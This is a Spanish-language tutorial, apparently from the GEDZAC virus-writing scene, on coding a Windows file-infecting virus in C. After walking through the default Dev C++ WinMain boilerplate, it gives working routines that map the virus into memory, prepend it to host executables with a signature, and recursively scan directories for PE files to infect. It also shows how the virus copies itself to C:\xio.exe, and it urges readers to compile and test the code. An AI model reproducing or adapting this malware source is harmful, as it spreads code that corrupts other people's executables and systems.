#Infeccion de ejecutables mediante archivos proyectados en memoria
#Autor: Pseudoroot <pseudoroot@hotmail.com>
Haber, he creado este pequeño minitutorial, debido a las preguntas de siempre que recibía, y por mas que intentaba explicar por MSN, siento que nunca se me entendía, y creo que ahora lo voy a tratar de forma tan simple, pero tan simple que mas que seguro todos lo que lean el minituto, lo entenderán sin problemas, y si no, bueno, creo que serian casos especiales.. :P, pero confio en que la mayoría va a entender, aunque muchas veces lo he explicado ya, creo que aun no he sido lo suficientemente claro, como para que quede, como el agua turbia.
NOTA: el autor da por hecho, que el lector, tiene instalado una versión del Ide Dev C++, y si no pues, que lo descargue desde multitud de servidores que existen en Internet, en mi caso utilizo la versión 4.9.9.2
Muy bien, comencemos
Source | C | main.c
#include <windows.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
Este es el código que el Dev te pone, siempre, que si lo compilamos, (que como compilamos?) nos vamos a el menú Ejecutar, compilar, si nos pide que guardemos pues guardamos, y esperamos a que se compile. Esperamos que salga el cuadrito y la frase Done. Que nos indicara que se compilado sin problemas, vamos a la carpeta donde se compilo y ejecutamos el .Exe o binario o programa, o como quieras llamarle. Y nos aparecera esta ventana.
Si no se han dado cuenta, no hemos entrado ni una sola linea de codigo, y lo que hemos compilado a sido el codigo que el Dev pone por omision en cualquier proyecto Windows Application (Win32).Pues bien.- ahora, indicare lo que tantas veces he dicho y que al parecer pocos han entendido o han querido entender, dentro de todo ese code, para codear nuestros virus, sacaremos todo el codigo que nos ejecuta esa ventana que nos muestra Windows al ejecutar el programa.El codigo que hay que eliminar lo pondre en azul.
#include <windows.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Windows App", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, nFunsterStil);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
Pues como se darán cuenta, hemos eliminado prácticamente todo el code, que el Dev nos ha puesto por omision, y solo nos debio haber quedado esto.
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
return 0;
}
Si quieres, vuelve a compilar el code nuevamente, previamente eliminado el código que puse en azul. Y al ejecutar el exe. Nos daremos cuenta que no nos sale ninguna ventana ni nada, ( Eso es lo que querían muchos no? Que Windows no nos mostrara nada).
Lo que hemos dejado de código es esto
#include <windows.h>
Librería necesaria en prácticamente todas las aplicaciones para Windows, pues en dicha librería se encuentra la declaración de todas las apis que se utilizan habitualmente en cualquier programa.
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
Esta, es la función principal de todo programa en C++, como podremos darnos cuanta nos dice claramente WinMain, (hacer referencia a Windows, y no int main() que se utiliza cuando se programa en D.o.s. ) los parámetros que vienen a continuación, son los que necesita el programa, y que de momento no nos sirven. Indican entre otras cosas la línea de comandos del mismo programa.
Luego viene {
El cual indica que la función principal del programa comienza. Y partir de ahí., el programa se ejecutara cuando, hacemos doble clic en el mismo.
return 0;
Devolverá el control al sistema operativo
}
Cerrara el programa.
Generalmente. Yo programo. Declarando las variables globales,y constantes primero, (como creo debe hacerse) luego las funciones que nuestro programa (virus. Worm. O lo que sea) utilizará, en el transcurso, para luego ir llamando a cada función dentro de la función principal que como sabemos es la WinMain ósea esta.
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
MessageBoxA(0,”MITOSIS #4”,”GEDZAC”,0);
return 0;
}
Este, es básicamente, la estructura básica de un programa en C. tenemos que saber que el programa al ser ejecutado comenzara a leer las instrucciones que están inmediatamente luego de { de la función WinMain (Principal) y que desde aquí. Llamaremos a las demás funciones que habremos declarado previamente ( en el caso que hayamos creado funciones para nuestro virus, como habitualmente se hace con un programa en C, o en cualquier otro lenguaje estructurado) solo que para C, no hay diferencias entre procedimientos o funciones, sino que todas son funciones, pero ese es otro cuento.
Ahora ya estamos en condiciones de empezar a codearnos un simple o avanzado engendro vírico, todo depende de cuantas ganas queramos y empeño queramos ponerle a esto, ademas de los conocimientos de programación con los cuales contamos claro está. Por ejemplo podriamos poner, una rutina de infeccion de ejecutables, verificando que estos sean P.E. si lo son, los infectamos y si no lo son, pues no los infectamos, conosco dos maneras de infectar ejecutables, mediante archivos proyectados en memoria, y mediante las apis WriteFile y CreateFile, la primera presenta ventajas cobre la segunda, en cuanto a rapidez en infectar los archivos. Aquí usaremos la infeccion usando archivos mapeados. Pero primero, sacaremos nuestro path, (es decir el path de nuestro bicho), para eso se usa la api GetFullPathName(
Ok, aquí. Colocare las funciones que nos permitiran infectar los archivos:
La siguiente funcion nos permite mapearnos a nosotros mismos para obtener el code y luego pegarlo al host a infectar
int getcode()
{
hVir = CreateFile("C:\\xio.exe",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); //habro mi code
if (hVir==INVALID_HANDLE_VALUE) { CloseHandle(hVir); return 0; } //verifico que se haya creado sino, cierro el handle y la funcion
szVir = GetFileSize(hVir,0); // obtengo mi tamaño para usar la variable luego
mVir = CreateFileMapping(hVir,0,PAGE_READONLY,0,szVir,NULL); // me mapeo para leer mi contenido
if (mVir==NULL)
{ CloseHandle(hVir);
return 0;
} // sino logro mapearmne me cierro
v = (unsigned char *)MapViewOfFile(mVir,FILE_MAP_READ,0,0,0); //obtengo mi code en memoria y lo apunto a v
if (v==NULL) {
CloseHandle(mVir);
CloseHandle(hVir);
return 0; } // sino lo logro cierro
return 1;
}
Ok, nos hemos proyectado en memoria, y luego con la funcion que viene a continuación infectaremos los archivos que le pasemos como parámetro a la funcion.
int putcode(char *filename)
{
// funcion que mapeara e inf3ctara el archivo que se le pase como parametro
hHost = CreateFile(filename,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (hHost==INVALID_HANDLE_VALUE) // abrimos un handle al host para leer y escribir en el
{ CloseHandle(hHost); // sino cerramos
return 0;
}
szHost = GetFileSize(hHost,0); // obtenemos tamaño
mHost = CreateFileMapping(hHost,0,PAGE_READWRITE,0,szHost+szVir+lstrlen(FIRMA),NULL); //mapeamos el host
if (mHost==NULL) {
CloseHandle(hHost); // sino cerramos
return 0;
}
h = (unsigned char *)MapViewOfFile(mHost,FILE_MAP_READ,0,0,szHost); // apuntamos host
if (h==NULL)
{
CloseHandle(mHost);
CloseHandle(hHost);
return 0;
}
v = (unsigned char *)MapViewOfFile(mVir,FILE_MAP_READ,0,0,0); // apuntamos virus
if (v==NULL)
{
CloseHandle(mHost);
CloseHandle(hHost);
UnmapViewOfFile(h);
return 0;
}
f = (unsigned char *)MapViewOfFile(mHost,FILE_MAP_WRITE,0,0,szHost+szVir+lstrlen(FIRMA)); // apuntamos la firma
if (f==NULL)
{
goto Exit;
}
CopyMemory(&f[szVir],&h[0],szHost); // rutinas que pegan los codigos
CopyMemory(&f[0],&v[0],szVir); // es decir con este juego de punteos conseguimos inf3ctar el host
CopyMemory(&f[szHost+szVir],FIRMA,lstrlen(FIRMA));
UnmapViewOfFile(f); // liberamos todos
Exit: // por si no hemos logrado nada ,en este caso solo cerramos
UnmapViewOfFile(h); UnmapViewOfFile(v);
CloseHandle(mHost);
CloseHandle(hHost);
return 1;
}
Ok… Luego de haber llamado a esta funcion pasandole como parámetro un archivo hallado previamente con alguna rutina de busqueda con las apis FindFirstFile y FindNextFile como esta:
int ScanFiles(char *dir)
{
// Rutina que nos permite ir por la casa y captura de archivos EXE, PE
char file[256];
char buffer[256];
WIN32_FIND_DATA datos;
HANDLE buscar;
bool corriendo=true;
sprintf(buffer,"%s*.*",dir);
buscar=FindFirstFile(buffer,&datos); //empezamos a buscar
if(buscar!=INVALID_HANDLE_VALUE)
{
while(corriendo) // mientras ahayan files nos mantendremos en el bucle
{
if((datos.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY
||datos.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY+FILE_ATTRIBUTE_SYSTEM)
&& (strstr(datos.cFileName,".")==0))
{
char buf[256];
sprintf(buf,"%s%s\\",dir,datos.cFileName);
ScanFiles(buf);
}
if(strstr(strupr(datos.cFileName),".EXE")) // buscamos los exe de los files que estemos hayando
{
sprintf(file,"%s%s",dir,datos.cFileName); // vamos obteniendo path
// comprobar si tiene la firma
if((VeriPE(file))){
MessageBoxA(NULL,file,"archivo A infectar",MB_OK);
ctn=ctn+1; // vamos contando los archivos infectados
//putcode(file);
if(ctn==50) { // maximo de 50 host
goto ExitFunc; }
}
}
corriendo=FindNextFile((void*)buscar,&datos);
}
}
ExitFunc:
FindClose((void *)buscar);
return 0;
}
Todo el codigo expuesto, es parte de las rutinas de mi ultimo virus, que esta presente tambien en la mitosis #4 de GEDZAC. Bueno a probar las rutinas, compirarlas y probarlas.
Como ultimo comentario decir que debes crear una copia de tu virus para luego proyectarlo en memoria, se podria leer en tiempo de ejecución, pero e preferido crear una copia y luego mapearme.
GetModuleFileName(0,name,256);
La variable name debe ser un char de 256 caracteres y se declara asi char name[256];
Y debe ser global para poder leerla desde todo el codigo y en la funcion que se nos plasque , supongo que ya sabras que es una funcion global, estas deben declararse al principio del codigo fuera de la funcion WinMain y fuera de cualquier funcion, normalmente vienen declaradas después de las cabeceras (#include). La copia la hacemos con la conocidisima api CopyFile.
CopyFile(name,"C:\\xio.exe”,0);
Estas dos ultimas lineas deben ir puestas en la function principal WinMain.
Ok, ya no me queda nada mas por comentar.
Saludos, a todos.